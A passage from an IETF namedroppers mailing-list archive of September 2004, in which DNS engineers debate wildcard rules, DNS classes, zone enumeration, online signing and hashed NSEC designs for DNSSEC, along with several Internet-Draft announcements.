CHAOS TXT" stuff (specific to an implementation, cited as an example) but that isn't delegated, etc. I am aware that some folks have used the Hesiod class for stuff, but I haven't and haven't heard from anyone directly. IOW - I don't have anything constructive to add here. (Too bad I'm not paid by the word to say that...;)) > >2. Names starting with '*' >========================== > >Section (2) of wcard-clarify is clear; one thing it clarifies that >you haven't noticed is a miswording in 4.3.3 of 1034. > >> In the previous algorithm, special treatment was given to RRs with owner >> names starting with the label "*". Such RRs are called wildcards. > >This might be read to include "*foo.example.com". It's obviously meant to >mean "RRs with owner names starting with a label which exactly matches >'*'". The label starting with "*" case could be made clearer, partly >for reasons in [] below. Maybe the issue is "starting with the label '*'" vs. "starting with a label starting with '*'". (Quotes changed to prevent "".) What's meant in the text is that the whole label is "*", not just a prefix of it. Is that what you mean? Somewhere I think I defined the label in hex, just to be sure (length 1, char='*'). >3. Labels with dots in them >=========================== > >(not strictly wildcards but I think relevant because of (2) above). > >There does not appear to be anything which prevents having a single >label with a "." in it, i.e. a label of 0x03 0x41 0x2e 0x42, which >is a single label of "a.b" (as opposed to two concatenated labels >a.b). RFC 1034 s3.1 seems to be quite clear on that. > >I am presuming these are legal because there is nothing saying they >aren't, and the reason we aren't "taking the easy way out" and >banning things like "foo.*.bar.example.com" is the principle of >binary transparency. Definitely within spec. But the label isn't printed as "a.b" but "a\.b". >On the other hand, I think (according to 4.3) that no QNAME can >match these - correct? If not, what happens with labels starting >"0x2a 0x2e" (i.e. starting with "*.")? Such a label isn't defined to be a wild card - or a source of synthesis. What you've listed is a label "*\.", which isn't the same as "*". > >[ Suggesting that the illustration in RFC 1034 section 3.5 is >made mandatory will I suspect win me no friends ] The context of 3.5 is: "The following syntax will result in fewer problems with many applications that use domain names (e.g., mail, TELNET)." This isn't a restriction on domain names but an "out of scope" discussion of the impact of the selection of domain names for the convenience of applications in use in 1987. (I suppose mail is still in use somewhere. ;)) I don't think that it was ever intended to restrict names to that syntax, nor even to 1123's definitions. (That is for host names, not all domain names are host names.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: wild cards Date: Tue, 21 Sep 2004 14:12:07 +0000 Lines: 42 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 16:31:50 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Tue, 21 Sep 2004 11:21:49 +0100." <a06020410bd75ac1ada6c@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk this was settled in RFC 2136. > My point of view - I've not come across a zone that mixed classes. ... 1034/1035 were, as stated here recently and often elsewhere previously, inconsistent in their treatment of classes. half of the text indicates that a multi-class zone can exist; the other half of the text indicates that each class has its own delegation hierarchy with potentially unique (within the class) zone cut boundaries, and its own set of root servers. historically, BIND4 was similarly inconsistent. which meant that neither interpretation would fully work, and meant that in practice there could only be one delegation hierarchy. other classes were essentially hard coded (for example, hesiod and chaos). after some long talks with PVM in which i learned that classes were a late editorial change rather than an original basic idea of DNS, i decided that the separate-hierarchy interpretation was the correct one. BIND8 and BIND9 do classes that way, though BIND8 doesn't support more than one class of roots so there's still a lot of hardcoding to support multiple classes using BIND8. this became very significant during the development of what's now RFC 2136, and there was discussion in the DNSIND working group as to what multiple classes meant, and the group's decision for the protocol echoed the one i had made earlier concerning the BIND implementation -- each class has its own delegation hierarchy. you can see this all over RFC 2136 by noting that it takes the tuple <zone,class> to denote a zone, not just a zone name. you can also see it in section 7.1, which says: 7.1. Using metavalues for CLASS is possible only because all RRs in the packet are assumed to be in the same zone, and CLASS is an attribute of a zone rather than of an RRset. (It is for this reason that the Zone Section is not optional.) so, from a protocol-lawyer standpoint, the question of whether a zone can mix classes has already been settled. it can't. note that this simplifies the wildcard algorythm by a lot. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-records-10.txt Date: Tue, 21 Sep 2004 15:37:53 -0400 Lines: 99 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 21:56:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Resource Records for the DNS Security Extensions Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-records-10.txt Pages : 33 Date : 2004-9-21 This document is part of a family of documents that describes the DNS Security Extensions (DNSSEC). The DNS Security Extensions are a collection of resource records and protocol modifications that provide source authentication for the DNS. This document defines the public key (DNSKEY), delegation signer (DS), resource record digital signature (RRSIG), and authenticated denial of existence (NSEC) resource records. The purpose and format of each resource record is described in detail, and an example of each resource record is given. This document obsoletes RFC 2535 and incorporates changes from all updates to RFC 2535. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-records-10.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152845.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-records-10.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-records-10.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152845.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-protocol-08.txt Date: Tue, 21 Sep 2004 15:37:48 -0400 Lines: 100 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 21:57:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Protocol Modifications for the DNS Security Extensions Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-protocol-08.txt Pages : 57 Date : 2004-9-21 This document is part of a family of documents which describe the DNS Security Extensions (DNSSEC). The DNS Security Extensions are a collection of new resource records and protocol modifications which add data origin authentication and data integrity to the DNS. This document describes the DNSSEC protocol modifications. This document defines the concept of a signed zone, along with the requirements for serving and resolving using DNSSEC. These techniques allow a security-aware resolver to authenticate both DNS resource records and authoritative DNS error indications. This document obsoletes RFC 2535 and incorporates changes from all updates to RFC 2535. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-protocol-08.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152839.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-protocol-08.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-protocol-08.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152839.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-dnssec-intro-12.txt Date: Tue, 21 Sep 2004 15:37:42 -0400 Lines: 95 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 21 22:01:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : DNS Security Introduction and Requirements Author(s) : R. Arends, et al. Filename : draft-ietf-dnsext-dnssec-intro-12.txt Pages : 26 Date : 2004-9-21 The Domain Name System Security Extensions (DNSSEC) add data origin authentication and data integrity to the Domain Name System. This document introduces these extensions, and describes their capabilities and limitations. This document also discusses the services that the DNS security extensions do and do not provide. Last, this document describes the interrelationships between the group of documents that collectively describe DNSSEC. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-dnssec-intro-12.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-21152833.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-dnssec-intro-12.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-dnssec-intro-12.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-21152833.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 11:25:10 +0100 Lines: 26 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 12:39:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I spoke with a person who used to be a DNS administrator at a well-known content provider (non-ISP, non-registry, etc.). He told be that when he was at that job, he would not have been able to justify the deployment of DNSSEC because of zone enumeration. The rationale for this is "the usual" - nothing other than not wanting to put certain information "so easily" available on the Internet. As far as on-line signing as an option, he replied that that was not a big deal for him. "What's the difference between managing extra zone keys and managing TSIG keys for XFR's?" (Just a data point...) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: Re: dictionary attack on nameservers Date: Wed, 22 Sep 2004 09:15:32 -0400 (EDT) Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 15:26:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: Jim Reid <jim@rfc1035.com> In-Reply-To: <6282.1094824776@gromit.rfc1035.com> Precedence: bulk On Fri, 10 Sep 2004, Jim Reid wrote: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. Apologies if this has been mentioned before[1], but I couldn't find it in this thread, and it came up in a discussion yesterday... The way I understand the proposals on the table, this sort of collision is fine and dandy. No "real" name should "naturally" have an NSEC++. If another "real" name happens to hash to another existing name, you insert the NSEC++ there as normal. The pre-existing "real" name has it's corresponding NSEC at some (presumably different) name. Example: "real" names: example.com SOA/DNSKEY/etc. (the apex) a.example.com A 127.0.0.1 overly-long-name.example.com A 10.1.1.1 Hash all three: hash(apex) ---> qwertyuiop\034\011zyxw hash(a) ---> overly-long-name hash(overly-long-name) ---> acbdefghijklmnoz\000\009 And add these three NSEC++ RR's when signing [1]: acbdefghijklmnoz\000\009 NSEC++ qwertyuiop\034\011zyxw A qwertyuiop\034\011zyxw NSEC++ overly-long-name SOA DNSKEY NS overly-long-name NSEC++ acbdefghijklmnoz\000\009 A If anyone every queries for (overly-long-name,IN,MX), they get the acbdefghijklmnoz\000\009 NSEC++ record. So there's no conflict between having "real" RRsets and generated NSEC++'s at the same name. -- Sam [1] The type bitmaps in these aren't quite right; they omit RRSIG and NSEC++. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Wed, 22 Sep 2004 15:22:34 +0100 Lines: 41 Sender: owner-namedroppers@ops.ietf.org References: <864823E63085C47CEEC82009@[192.168.100.25]> <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <6463.1095424313@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 16:33:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <6463.1095424313@munnari.OZ.AU> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > Date: Fri, 17 Sep 2004 12:51:42 +0100 > From: Alex Bligh <alex@alex.org.uk> > Message-ID: <864823E63085C47CEEC82009@[192.168.100.25]> > > | And the hash of www is H, what breaks if, on a query of type MX for H, > | it returns: > | H IN MX 10 target > | (i.e. ignores the NSEC' record). > > The "ignores the NSEC' record" is not nearly as easy as it seems like > it might be (as a message from Mark Andrews pointed out a few days ago). > > But even if it is easy, explaining how wildcards work now is difficult, > and than's when it is all simple, and clean, and consistent (difficult > because it sometimes isn't what people are hoping for, or are expecting > based upon the assumption that wildcards do pattern matching). > > Expecting anyone to ever understand the things if we start adding special > cases to the algorithm is beyond hope. I don't really buy that adding "ignore NSEC' records" is really going to confuse people to any noticable extent. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Wed, 22 Sep 2004 15:22:59 +0100 Lines: 99 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> <20040917144750.216cd419.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 16:34:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040917144750.216cd419.olaf@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > On Fri, 17 Sep 2004 12:51:42 +0100 > Alex Bligh <alex@alex.org.uk> wrote: > > >>And the hash of www is H, what breaks if, on a query of type MX for H, >> it returns: >> H IN MX 10 target >> (i.e. ignores the NSEC' record). > > > > In other words you would propose that the searching algorithm would be > modified based on the qtype queried? > > If so ...auucchhh.... :-) > > NB it is not that one cannot propose a change to the full standard, > wildcard carify proposes (will propose) a change on how wildcard owned > CNAMEs are dealth with. > > > A Little Side Track (I am not sure if these scenarios have been > scetched, apologies if I am duplicating arguments) > > EBS1 (Evil Bastard Scenario 0ne): > > I own secret-wg.org. > > Tomorrow I am going to register > HASH(salt=0x00, secret-wg.org).org > HASH(salt=0x01, secret-wg.org).org > ... > HASH(salt=0xff, secret-wg.org).org > > Just to make the changes on a hash collission in secret-wg.org 2^24 > instead of 2^32. The hash colission being an anoyance during signing > because you have to regenerate all NSEC2s with a different salt not > because you happen to hit a "real" name. Eh? This makes the chances 2^104, not 2^24, surely? > This can be distributed over mulitple registrants can do this each carying > their part of the registration costs: > > HASH(salt=0x00, secret-wg.org).org > HASH(salt=0x01, kolkman.org).org > ... > HASH(salt=0xff, marnick.org).org > ... > HASH(salt=0xffff, geerthe.org).org > > you could actually do a DDOS attack on the zone signing process if the > salt space is to small. Practically I think 32bits of salt is > sufficient to mitigate this, so is registration policy. > > EBS 2: > > Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). > I register > HASH(salt=0x4e8aeb32, secret-wg.org).org > That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) > at which point I register > HASH(salt=0x23a5883d, secret-wg.org).org No, if you want to force them to change their salt, you must find a hash collision with the current salt, work factor 2^80. > Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner > names in their zone while otherwise they could have used incremental > signing. Now you've lost me. > The underlying assumption for this is that one version of the zone > would have the same salt for all the NSEC2 RRs. It has to, or the proof doesn't work. > This would not occur > if the NSEC RRs would have owner names in a different namespace in > wich you would not be able (or allowed) to register names (a policy > and not a protocol issue). Hmm. In that case, I have not understood your examples. :-( -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 16:01:29 +0100 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <a06020404bd77033feb0a@[193.0.8.231]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 17:14:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a06020404bd77033feb0a@[193.0.8.231]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > (Just a data point...) another data point (and I only bring this up because it's something I could say earlier): http://tinyurl.com/6datz One of the reasons why I and others (Nominet) have been a little circumspect about the copyright etc. issues associated with enumeration is that the matter was sub-judice in Australia, so this is in part by away of apology for being a little reticent as to the legal basis. We've now had a first ruling in court showing registries do hold copyright in their own zone files (at least in Australian law) - i.e. those registries operating in the "interests of the local community" etc. can, at a legal level control the use of zonefile contents; i.e. it is worth fighting about the technical element. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 16:28:52 +0000 Lines: 24 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 18:43:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Wed, 22 Sep 2004 11:25:10 +0100." <a06020404bd77033feb0a@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > ... > As far as on-line signing as an option, he replied that that was not a big > deal for him. "What's the difference between managing extra zone keys and > managing TSIG keys for XFR's?" word on the street is, online signing isn't allowed in the dnssec-bis spec. given that i'd been presenting it as a workaround, i now apologize to all for misunderstanding the protocol. getting online signing of negative responses would apparently require the same transition pain as NSECxx, so we can stop talking about it separately, and fold it into the NSECxx thread, which is blocked on a requirements definition, to which ed's words apply: > I spoke with a person who used to be a DNS administrator at a well-known > content provider (non-ISP, non-registry, etc.). He told be that when he > was at that job, he would not have been able to justify the deployment of > DNSSEC because of zone enumeration. The rationale for this is "the usual" > - nothing other than not wanting to put certain information "so easily" > available on the Internet. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Derek Atkins <warlord@MIT.EDU> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 13:21:47 -0400 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <20040922162852.7C5B313DFF@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 19:33:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Paul Vixie <paul@vix.com> In-Reply-To: <20040922162852.7C5B313DFF@sa.vix.com> (Paul Vixie's message of "Wed, 22 Sep 2004 16:28:52 +0000") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.1 (gnu/linux) Precedence: bulk Paul Vixie <paul@vix.com> writes: >> ... >> As far as on-line signing as an option, he replied that that was not a big >> deal for him. "What's the difference between managing extra zone keys and >> managing TSIG keys for XFR's?" > > word on the street is, online signing isn't allowed in the dnssec-bis spec. > given that i'd been presenting it as a workaround, i now apologize to all > for misunderstanding the protocol. getting online signing of negative > responses would apparently require the same transition pain as NSECxx, so > we can stop talking about it separately, and fold it into the NSECxx thread, > which is blocked on a requirements definition, to which ed's words apply: Yes, this is exactly why a few of us were trying to hold up the online signing conversation before the bis drafts were finalized, because we realized you COULDN'T do online signing in bis. :( It sucks royally. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Wed, 22 Sep 2004 17:46:47 +0000 Lines: 19 Sender: owner-namedroppers@ops.ietf.org References: <warlord@MIT.EDU> X-From: owner-namedroppers@ops.ietf.org Wed Sep 22 19:58:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Derek Atkins <warlord@MIT.EDU> of "Wed, 22 Sep 2004 13:21:47 -0400." <sjmr7oui5hw.fsf@dogbert.ihtfp.org> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > Yes, this is exactly why a few of us were trying to hold up the > online signing conversation before the bis drafts were finalized, > because we realized you COULDN'T do online signing in bis. :( > > It sucks royally. i think that sucking royally is the reason a number of people were trying to hold up finalizing the -bis drafts until they had been relaxed in some way that would permit online signing without the full transition cost. "good? bad? i'm the one with the gun." onward. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Florian Weimer <fw@deneb.enyo.de> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 02:41:53 +0200 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <a06020404bd77033feb0a@[193.0.8.231]> <16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 02:52:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: 